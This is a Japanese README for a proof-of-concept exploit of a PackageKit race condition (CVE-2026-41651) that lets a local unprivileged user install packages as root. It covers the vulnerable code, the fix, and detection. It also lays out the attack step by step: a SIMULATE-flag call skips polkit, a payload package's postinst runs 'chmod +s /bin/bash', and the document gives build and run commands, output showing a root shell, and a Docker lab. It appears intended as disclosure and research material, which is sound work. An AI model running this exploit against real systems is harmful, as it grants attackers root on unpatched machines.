PackageKit のトランザクションハンドラにおける TOCTOU 競合。ローカルの非特権ユーザーが、認証なしで任意のパッケージを root としてインストールできます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-41651 |
| コンポーネント | PackageKit デーモン (packagekitd) |
| 影響を受けるバージョン | 1.0.2 – 1.3.4 |
| 修正バージョン | 1.3.5 |
| 影響 | ローカル権限昇格 → root |
| 認証要件 | なし |
| ユーザー操作 | なし |
| テスト環境 | Ubuntu 24.04, Debian 12 |

src/pk-transaction.c における3つのバグが連鎖して、認可と実行の間に TOCTOU ウィンドウを作り出します。
InstallFiles() は状態チェックなしで cached_transaction_flags と cached_full_paths を無条件に上書きします:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state() は後方への遷移を静かに無視します。フラグは既に上書きされていますが、状態はそのまま保持されます:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run() はキャッシュされたフラグを認可時ではなく、ディスパッチ時(GLib の idle から)に読み取ります:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
PK_TRANSACTION_FLAG_SIMULATE(ビット2、値 0x4)を設定すると、polkit チェックが完全にスキップされます:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
両方の InstallFiles 呼び出しは、クライアントのメインループが反復する前に、fire-and-forget の非同期 D-Bus 呼び出しとして送信されます。これにより、GLib の idle が発火する前に両方のメッセージがサーバーソケットに到達することが保証され、競合状態を狙う必要はありません。
polkitd は最終的に2回目の呼び出しに対して NOT_AUTHORIZED を返しますが、その頃には APT が既にインストールを実行しています。このエラーは予期されたものであり、無害です。
sudo apt install libglib2.0-dev
make
他に依存関係はありません — .deb パッケージは実行時に純粋な C でビルドされます。
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — カーネル内のすべての特権チェックは実効 UID を使用します。
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
このイメージは PackageKit 1.3.4 をソースからビルドし(コミット 2149735、最後の脆弱なバージョン)、dbus + polkitd + packagekitd を起動してから、非特権ユーザーとしてエクスプロイトを実行します。
g_assert に関する注意: Docker イメージは pk-transaction.c 内の g_assert (!transaction->emitted_finished) ガードをパッチで無効化しています。実際の未パッチシステムでは、polkitd が既に Finished を発行した後に APT のスレッドが Finished を発行しようとするとこの assert が発火し、SIGABRT でデーモンがクラッシュします。その時点で SUID bash は既にディスク上に存在するため、特権昇格は成功します — クラッシュは副次的な DoS です。packagekitd は次の D-Bus アクティベーションで再起動します。
PackageKit ≥ 1.3.5 では、2回目の呼び出しが拒否されます:
[-] Target is PATCHED (PackageKit >= 1.3.5)
修正では pk_transaction_method_call() に状態ガードが追加されています:
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'